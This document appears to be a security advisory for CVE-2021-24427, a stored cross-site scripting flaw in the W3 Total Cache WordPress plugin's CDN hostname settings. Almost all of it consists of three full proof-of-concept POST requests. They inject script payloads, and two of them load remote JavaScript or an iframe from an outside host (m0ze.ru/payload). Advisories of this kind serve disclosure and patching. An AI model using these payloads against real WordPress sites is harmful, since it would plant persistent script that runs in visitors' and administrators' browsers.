W3 Total Cache < 2.1.3 – Authenticated Stored XSS | CVE 2021-24427

Description

The plugin did not sanitise or escape some of its CDN settings, allowing high privilege users to use JavaScript in them, which will be output in the page, leading to an authenticated Stored Cross-Site Scripting issue

Proof of Concept

Vulnerable parameter(s): &cdn_cnames[]= (#1), cdn_cnames[]= (#2), cdn_cnames[]= (#3).

CDN Type: Akamai, Amazon CloudFront, AT&T, Cotendo, Generic Mirror, Verizon Digital Media Services (EdgeCast), Amazon CloudFront Over S3, Amazon Simple Storage Service (S3), Amazon Simple Storage Service (S3) Compatible, Microsoft Azure Storage, Self-hosted.

PoC #1 | Authenticated Persistent XSS | CDN > Replace site's hostname with (reserved for CSS):

POST /wp-admin/admin.php?page=w3tc_cdn HTTP/2
Host: example.com
Cookie: [admin cookies]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 2204

cdn__uploads__enable=0&cdn__uploads__enable=1&cdn__includes__enable=0&cdn__includes__enable=1&cdn__theme__enable=0&cdn__theme__enable=1&cdn__custom__enable=0&cdn__custom__enable=1&cdn__force__rewrite=0&cdn__canonical_header=0&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54a0bbb254&cdn__ftp__pasv=0&cdn__ftp__host=&cdn__ftp__type=&cdn__ftp__user=&cdn__ftp__pass=&cdn__ftp__path=&cdn__ftp__ssl=auto&cdn_cnames%5B%5D=%23%27%22%3E%3Cscript%3Ealert%28%29%3B%3C%2Fscript%3E%3Cdiv+x&cdn_cnames%5B%5D=&cdn_cnames%5B%5D=&cdn_cnames%5B%5D=&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54a0bbb254&w3tc_default_save_and_flush=Save+Settings+%26+Purge+Caches&cdn__flush_manually=0&cdn__reject__ssl=0&cdn__admin__media_library=0&cdn__cors_header=0&cdn__cors_header=1&cdn__reject__logged_roles=0&cdn__reject__roles=&cdn__reject__uri=&cdn__autoupload__enabled=0&cdn__autoupload__interval=3600&cdn__queue__interval=900&cdn__queue__limit=25&cdn__includes__files=*.css%3B*.js%3B*.gif%3B*.png%3B*.jpg%3B*.xml&cdn__theme__files=*.css%3B*.js%3B*.gif%3B*.png%3B*.jpg%3B*.ico%3B*.ttf%3B*.otf%3B*.woff%3B*.woff2%3B*.less&cdn__import__files=&cdn__custom__files=favicon.ico%0D%0A%7Bwp_content_dir%7D%2Fgallery%2F*%0D%0A%7Bwp_content_dir%7D%2Fuploads%2Favatars%2F*%0D%0A%7Bplugins_dir%7D%2Fwordpress-seo%2Fcss%2Fxml-sitemap.xsl%0D%0A%7Bplugins_dir%7D%2Fwp-minify%2Fmin*%0D%0A%7Bplugins_dir%7D%2F*.js%0D%0A%7Bplugins_dir%7D%2F*.css%0D%0A%7Bplugins_dir%7D%2F*.gif%0D%0A%7Bplugins_dir%7D%2F*.jpg%0D%0A%7Bplugins_dir%7D%2F*.png&cdn__reject__ua=&cdn__reject__files=%7Buploads_dir%7D%2Fwpcf7_captcha%2F*%0D%0A%7Buploads_dir%7D%2Fimagerotator.swf%0D%0A%7Bplugins_dir%7D%2Fwp-fb-autoconnect%2Ffacebook-platform%2Fchannel.html&set_cookie_domain_old=0&set_cookie_domain_new=0&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54a0bbb254



PoC #2 | Authenticated Persistent XSS | CDN > Replace site's hostname with (reserved for JS in <head>):

POST /wp-admin/admin.php?page=w3tc_cdn HTTP/2
Host: example.com
Cookie: [admin cookies]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 2204

cdn__uploads__enable=0&cdn__uploads__enable=1&cdn__includes__enable=0&cdn__includes__enable=1&cdn__theme__enable=0&cdn__theme__enable=1&cdn__custom__enable=0&cdn__custom__enable=1&cdn__force__rewrite=0&cdn__canonical_header=0&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54d06077f1&cdn__ftp__pasv=0&cdn__ftp__host=&cdn__ftp__type=&cdn__ftp__user=&cdn__ftp__pass=&cdn__ftp__path=&cdn__ftp__ssl=auto&cdn_cnames%5B%5D=1&cdn_cnames%5B%5D=m0ze.ru%2Fpayload%2Fa.js%27+onload%3D%27alert%2813%29%3B%27+stuff%3D%27&cdn_cnames%5B%5D=&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54d06077f1&w3tc_default_save_and_flush=Save+Settings+%26+Purge+Caches&cdn__flush_manually=0&cdn__reject__ssl=0&cdn__admin__media_library=0&cdn__cors_header=0&cdn__cors_header=1&cdn__reject__logged_roles=0&cdn__reject__roles=&cdn__reject__uri=&cdn__autoupload__enabled=0&cdn__autoupload__interval=3600&cdn__queue__interval=900&cdn__queue__limit=25&cdn__includes__files=*.css%3B*.js%3B*.gif%3B*.png%3B*.jpg%3B*.xml&cdn__theme__files=*.css%3B*.js%3B*.gif%3B*.png%3B*.jpg%3B*.ico%3B*.ttf%3B*.otf%3B*.woff%3B*.woff2%3B*.less&cdn__import__files=&cdn__custom__files=favicon.ico%0D%0A%7Bwp_content_dir%7D%2Fgallery%2F*%0D%0A%7Bwp_content_dir%7D%2Fuploads%2Favatars%2F*%0D%0A%7Bplugins_dir%7D%2Fwordpress-seo%2Fcss%2Fxml-sitemap.xsl%0D%0A%7Bplugins_dir%7D%2Fwp-minify%2Fmin*%0D%0A%7Bplugins_dir%7D%2F*.js%0D%0A%7Bplugins_dir%7D%2F*.css%0D%0A%7Bplugins_dir%7D%2F*.gif%0D%0A%7Bplugins_dir%7D%2F*.jpg%0D%0A%7Bplugins_dir%7D%2F*.png&cdn__reject__ua=&cdn__reject__files=%7Buploads_dir%7D%2Fwpcf7_captcha%2F*%0D%0A%7Buploads_dir%7D%2Fimagerotator.swf%0D%0A%7Bplugins_dir%7D%2Fwp-fb-autoconnect%2Ffacebook-platform%2Fchannel.html&set_cookie_domain_old=0&set_cookie_domain_new=0&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54d06077f1



PoC #3 | Authenticated Persistent XSS | CDN > Replace site's hostname with (reserved for JS after <body>):

POST /wp-admin/admin.php?page=w3tc_cdn HTTP/2
Host: example.com
Cookie: [admin cookies]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 2204

cdn__uploads__enable=0&cdn__uploads__enable=1&cdn__includes__enable=0&cdn__includes__enable=1&cdn__theme__enable=0&cdn__theme__enable=1&cdn__custom__enable=0&cdn__custom__enable=1&cdn__force__rewrite=0&cdn__canonical_header=0&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54cf6ef099&cdn__ftp__pasv=0&cdn__ftp__host=&cdn__ftp__type=&cdn__ftp__user=&cdn__ftp__pass=&cdn__ftp__path=&cdn__ftp__ssl=auto&cdn_cnames%5B%5D=1&cdn_cnames%5B%5D=2&cdn_cnames%5B%5D=%23%27%22%3E%3Ciframe+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E%3C%2Fiframe%3E%3Cdiv+x&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54cf6ef099&w3tc_default_save_and_flush=Save+Settings+%26+Purge+Caches&cdn__flush_manually=0&cdn__reject__ssl=0&cdn__admin__media_library=0&cdn__cors_header=0&cdn__cors_header=1&cdn__reject__logged_roles=0&cdn__reject__roles=&cdn__reject__uri=&cdn__autoupload__enabled=0&cdn__autoupload__interval=3600&cdn__queue__interval=900&cdn__queue__limit=25&cdn__includes__files=*.css%3B*.js%3B*.gif%3B*.png%3B*.jpg%3B*.xml&cdn__theme__files=*.css%3B*.js%3B*.gif%3B*.png%3B*.jpg%3B*.ico%3B*.ttf%3B*.otf%3B*.woff%3B*.woff2%3B*.less&cdn__import__files=&cdn__custom__files=favicon.ico%0D%0A%7Bwp_content_dir%7D%2Fgallery%2F*%0D%0A%7Bwp_content_dir%7D%2Fuploads%2Favatars%2F*%0D%0A%7Bplugins_dir%7D%2Fwordpress-seo%2Fcss%2Fxml-sitemap.xsl%0D%0A%7Bplugins_dir%7D%2Fwp-minify%2Fmin*%0D%0A%7Bplugins_dir%7D%2F*.js%0D%0A%7Bplugins_dir%7D%2F*.css%0D%0A%7Bplugins_dir%7D%2F*.gif%0D%0A%7Bplugins_dir%7D%2F*.jpg%0D%0A%7Bplugins_dir%7D%2F*.png&cdn__reject__ua=&cdn__reject__files=%7Buploads_dir%7D%2Fwpcf7_captcha%2F*%0D%0A%7Buploads_dir%7D%2Fimagerotator.swf%0D%0A%7Bplugins_dir%7D%2Fwp-fb-autoconnect%2Ffacebook-platform%2Fchannel.html&set_cookie_domain_old=0&set_cookie_domain_new=0&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54cf6ef099